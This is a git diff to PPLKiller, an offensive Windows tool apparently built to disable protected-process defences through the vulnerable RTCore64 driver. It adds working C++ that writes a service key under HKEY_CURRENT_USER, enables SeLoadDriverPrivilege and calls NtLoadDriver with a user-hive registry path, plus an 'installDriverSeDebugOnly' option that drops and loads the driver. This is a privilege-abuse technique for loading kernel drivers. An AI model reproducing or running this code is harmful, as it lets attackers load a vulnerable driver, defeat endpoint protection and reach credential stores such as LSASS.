diff --git a/PPLKiller.vcxproj b/PPLKiller.vcxproj
index 802ec98..be2792d 100644
--- a/PPLKiller.vcxproj
+++ b/PPLKiller.vcxproj
@@ -139,12 +139,14 @@
+
+
diff --git a/PPLKiller.vcxproj.filters b/PPLKiller.vcxproj.filters
index bd8c344..2b5bfd1 100644
--- a/PPLKiller.vcxproj.filters
+++ b/PPLKiller.vcxproj.filters
@@ -18,6 +18,9 @@
Source Files
+
+ Source Files
+
@@ -28,5 +31,8 @@
Header Files
+
+ Header Files
+
\ No newline at end of file
diff --git a/loaddriver.cpp b/loaddriver.cpp
new file mode 100644
index 0000000..0f75684
--- /dev/null
+++ b/loaddriver.cpp
@@ -0,0 +1,286 @@
+#include "loaddriver.h"
+
+ULONG
+LoadDriver(LPWSTR userSid, LPWSTR RegistryPath)
+{
+ UNICODE_STRING DriverServiceName;
+ NTSTATUS status;
+
+ typedef NTSTATUS(_stdcall* NT_LOAD_DRIVER)(IN PUNICODE_STRING DriverServiceName);
+ typedef void (WINAPI* RTL_INIT_UNICODE_STRING)(PUNICODE_STRING, PCWSTR);
+
+ NT_LOAD_DRIVER NtLoadDriver = (NT_LOAD_DRIVER)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtLoadDriver");
+ RTL_INIT_UNICODE_STRING RtlInitUnicodeString = (RTL_INIT_UNICODE_STRING)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlInitUnicodeString");
+
+ wchar_t registryPath[MAX_PATH];
+ _snwprintf_s(registryPath, _TRUNCATE, L"%s%s\\%s", REGISTRY_USER_PREFIX, userSid, RegistryPath);
+
+ wprintf(L"[+] Loading Driver: %s\n", registryPath);
+
+
+ RtlInitUnicodeString(&DriverServiceName, registryPath);
+
+ status = NtLoadDriver(&DriverServiceName);
+ printf("NTSTATUS: %08x, WinError: %d\n", status, GetLastError());
+
+ if (!NT_SUCCESS(status))
+ //return RtlNtStatusToDosError(status);
+ return -1;
+ return 0;
+
+}
+
+//https://msdn.microsoft.com/en-us/library/windows/desktop/aa446619(v=vs.85).aspx
+BOOL SetPrivilege(
+ HANDLE hToken, // access token handle
+ LPCTSTR lpszPrivilege, // name of privilege to enable/disable
+ BOOL bEnablePrivilege // to enable or disable privilege
+)
+{
+ TOKEN_PRIVILEGES tp;
+ LUID luid;
+
+ if (!LookupPrivilegeValue(
+ NULL, // lookup privilege on local system
+ lpszPrivilege, // privilege to lookup
+ &luid)) // receives LUID of privilege
+ {
+ wprintf(L"[-] LookupPrivilegeValue error: %u\n", GetLastError());
+ return FALSE;
+ }
+
+ tp.PrivilegeCount = 1;
+ tp.Privileges[0].Luid = luid;
+ if (bEnablePrivilege)
+ tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
+ else
+ tp.Privileges[0].Attributes = 0;
+
+ // Enable the privilege or disable all privileges.
+
+ if (!AdjustTokenPrivileges(
+ hToken,
+ FALSE,
+ &tp,
+ sizeof(TOKEN_PRIVILEGES),
+ (PTOKEN_PRIVILEGES)NULL,
+ (PDWORD)NULL))
+ {
+ wprintf(L"[-] AdjustTokenPrivileges error: %u\n", GetLastError());
+ return FALSE;
+ }
+
+ if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
+
+ {
+ wprintf(L"[-] The token does not have the specified privilege. \n");
+ return FALSE;
+ }
+
+ return TRUE;
+}
+
+ULONG
+CreateRegistryKey(
+ const LPWSTR RegistryPath,
+ const LPWSTR DriverPath
+)
+{
+ ULONG dwErrorCode;
+ HKEY hKey;
+ DWORD dwDisposition;
+ DWORD dwServiceType = 1;
+ DWORD dwServiceErrorControl = 1;
+ DWORD dwServiceStart = 3;
+ SIZE_T ServiceImagePathSize;
+ wchar_t registryPath[MAX_PATH], serviceImagePath[MAX_PATH];
+
+ _snwprintf_s(registryPath, _TRUNCATE, L"%s", RegistryPath);
+ _snwprintf_s(serviceImagePath, _TRUNCATE, L"%s%s", IMAGE_PATH, DriverPath);
+
+ dwErrorCode = RegCreateKeyExW(HKEY_CURRENT_USER,
+ registryPath,
+ 0,
+ NULL,
+ 0,
+ KEY_ALL_ACCESS,
+ NULL,
+ &hKey,
+ &dwDisposition);
+
+ if (dwDisposition != REG_CREATED_NEW_KEY) {
+ RegCloseKey(hKey);
+ wprintf(L"RegCreateKeyEx failed: 0x%x\n", dwErrorCode);
+ return dwErrorCode;
+ }
+
+ ServiceImagePathSize = (lstrlenW(serviceImagePath) + 1) * sizeof(WCHAR);
+
+ dwErrorCode = RegSetValueExW(hKey,
+ L"ImagePath",
+ 0,
+ REG_EXPAND_SZ,
+ (const BYTE*)serviceImagePath,
+ ServiceImagePathSize);
+
+ if (dwErrorCode) {
+ RegCloseKey(hKey);
+ return dwErrorCode;
+ }
+
+ dwErrorCode = RegSetValueExW(hKey,
+ L"Type",
+ 0,
+ REG_DWORD,
+ (const BYTE*)&dwServiceType,
+ sizeof(DWORD));
+
+ if (dwErrorCode) {
+ RegCloseKey(hKey);
+ return dwErrorCode;
+ }
+
+ dwErrorCode = RegSetValueExW(hKey,
+ L"ErrorControl",
+ 0,
+ REG_DWORD,
+ (const BYTE*)&dwServiceErrorControl,
+ sizeof(DWORD));
+ if (dwErrorCode) {
+ RegCloseKey(hKey);
+ return dwErrorCode;
+ }
+
+ dwErrorCode = RegSetValueExW(hKey,
+ L"Start",
+ 0,
+ REG_DWORD,
+ (const BYTE*)&dwServiceStart,
+ sizeof(DWORD));
+
+ RegCloseKey(hKey);
+ return 0;
+}
+
+
+LPWSTR getUserSid(HANDLE hToken)
+{
+
+ // Get the size of the memory buffer needed for the SID
+ //https://social.msdn.microsoft.com/Forums/vstudio/en-US/6b23fff0-773b-4065-bc3f-d88ce6c81eb0/get-user-sid-in-unmanaged-c?forum=vcgeneral
+ //https://msdn.microsoft.com/en-us/library/windows/desktop/aa379554(v=vs.85).aspx
+
+ DWORD dwBufferSize = 0;
+ if (!GetTokenInformation(hToken, TokenUser, NULL, 0, &dwBufferSize) &&
+ (GetLastError() != ERROR_INSUFFICIENT_BUFFER))
+ {
+ wprintf(L"GetTokenInformation failed, error: %d\n",
+ GetLastError());
+ return NULL;
+ }
+
+ //https://social.msdn.microsoft.com/Forums/vstudio/en-US/6b23fff0-773b-4065-bc3f-d88ce6c81eb0/get-user-sid-in-unmanaged-c?forum=vcgeneral
+ PTOKEN_USER pUserToken = (PTOKEN_USER)HeapAlloc(
+ GetProcessHeap(),
+ HEAP_ZERO_MEMORY,
+ dwBufferSize);
+
+ if (pUserToken == NULL) {
+ HeapFree(GetProcessHeap(), 0, (LPVOID)pUserToken);
+ return NULL;
+ }
+
+ // Retrive token info
+ if (!GetTokenInformation(
+ hToken,
+ TokenUser,
+ pUserToken,
+ dwBufferSize,
+ &dwBufferSize))
+ {
+ GetLastError();
+ return NULL;
+ }
+
+ // Check if SID is valid
+ if (!IsValidSid(pUserToken->User.Sid))
+ {
+ wprintf(L"The owner SID is invalid.\n");
+ return NULL;
+ }
+
+ LPWSTR sidString;
+ ConvertSidToStringSidW(pUserToken->User.Sid, &sidString);
+ return sidString;
+}
+
+int fullsend(LPWSTR RegistryPath, LPWSTR DriverImagePath)
+{
+ //LPWSTR* szArglist;
+ //int nArgs;
+ //LPWSTR RegistryPath, DriverImagePath;
+ ULONG dwErrorCode;
+ int ret = 0;
+
+ //szArglist = CommandLineToArgvW(GetCommandLineW(), &nArgs);
+ //if (NULL == szArglist)
+ //{
+ // printUsage();
+ // return 0;
+ //}
+
+ //if (nArgs != 3) {
+ // printUsage();
+ // LocalFree(szArglist);
+ // return 0;
+ //}
+
+ //RegistryPath = szArglist[1];
+ //DriverImagePath = szArglist[2];
+
+ // Get Current Process Token
+ HANDLE hToken;
+
+ if (!OpenProcessToken(GetCurrentProcess(),
+ TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
+ {
+ wprintf(L"[+] OpenProcessToken Failed\n");
+ goto cleanup;
+ }
+
+ LPWSTR userSidStr;
+
+ userSidStr = getUserSid(hToken);
+ if (userSidStr == NULL)
+ {
+ wprintf(L"[+] Error while getting user SID\n");
+ goto cleanup;
+ }
+
+ dwErrorCode = CreateRegistryKey((LPWSTR)RegistryPath, DriverImagePath);
+ if (dwErrorCode != 0) {
+ wprintf(L"[-] Error while creating registry keys: error value %d\n", dwErrorCode);
+ goto cleanup;
+ }
+
+ // Enable Privileges
+ wprintf(L"[+] Enabling SeLoadDriverPrivilege\n");
+
+ if (SetPrivilege(hToken, SE_LOAD_DRIVER_NAME, true))
+ wprintf(L"[+] SeLoadDriverPrivilege Enabled\n");
+ else
+ {
+ wprintf(L"[-] SeLoadDriverPrivilege Failed\n");
+ goto cleanup;
+ }
+
+ ret = LoadDriver(userSidStr, RegistryPath);
+
+cleanup:
+ CloseHandle(hToken);
+ hToken = NULL;
+ //LocalFree(szArglist);
+
+ return(ret);
+
+}
\ No newline at end of file
diff --git a/loaddriver.h b/loaddriver.h
new file mode 100644
index 0000000..1960a16
--- /dev/null
+++ b/loaddriver.h
@@ -0,0 +1,13 @@
+#pragma once
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+#define REGISTRY_USER_PREFIX _T("\\Registry\\User\\")
+#define IMAGE_PATH _T("\\??\\")
+
+int fullsend(LPWSTR, LPWSTR);
\ No newline at end of file
diff --git a/main.cpp b/main.cpp
index c5fa69b..0a99d8f 100644
--- a/main.cpp
+++ b/main.cpp
@@ -14,6 +14,7 @@
#include
#include "resource.h"
+#include "loaddriver.h"
#define AUTHOR L"@aceb0nd"
#define VERSION L"0.3"
@@ -110,58 +111,6 @@ void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value) {
WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
}
-BOOL SetPrivilege(
- HANDLE hToken, // access token handle
- LPCTSTR lpszPrivilege, // name of privilege to enable/disable
- BOOL bEnablePrivilege // to enable or disable privilege
-)
-{
- TOKEN_PRIVILEGES tp;
- LUID luid;
-
- if (!LookupPrivilegeValue(
- NULL, // lookup privilege on local system
- lpszPrivilege, // privilege to lookup
- &luid)) // receives LUID of privilege
- {
- printf("LookupPrivilegeValue error: %u\n", GetLastError());
- return FALSE;
- }
-
- tp.PrivilegeCount = 1;
- tp.Privileges[0].Luid = luid;
- if (bEnablePrivilege)
- tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
- else
- tp.Privileges[0].Attributes = 0;
-
- // Enable the privilege or disable all privileges.
-
- if (!AdjustTokenPrivileges(
- hToken,
- FALSE,
- &tp,
- sizeof(TOKEN_PRIVILEGES),
- (PTOKEN_PRIVILEGES)NULL,
- (PDWORD)NULL))
- {
- printf("AdjustTokenPrivileges error: %u\n", GetLastError());
- return FALSE;
- }
-
- if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
-
- {
- printf("The token does not have the specified privilege. \n");
- return FALSE;
- }
-
- return TRUE;
-}
-
-
-
-
// END driver comms code
// START Mimikatz driver install/uninstall code
@@ -611,13 +560,6 @@ int wmain(int argc, wchar_t* argv[]) {
return 0;
}
- HANDLE hToken;
- if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
- wprintf(L"OpenProcessToken error\n");
- }
- SetPrivilege(hToken, SE_LOAD_DRIVER_NAME, TRUE);
-
-
const auto svcName = L"RTCore64";
@@ -648,6 +590,11 @@ int wmain(int argc, wchar_t* argv[]) {
wprintf(L"[!] 0x00000005 - Access Denied - Did you run as administrator?\n");
}
}
+ else if (wcscmp(argv[1] + 1, L"installDriverSeDebugOnly") == 0) {
+ WCHAR* driverPath = dropDriver();
+ wchar_t key[] = L"System\\CurrentControlSet\\RTCore64";
+ fullsend(key, driverPath);
+ }
else if (wcscmp(argv[1] + 1, L"uninstallDriver") == 0) {
service_uninstall(svcName);
auto tempPath = GetUserLocalTempPath();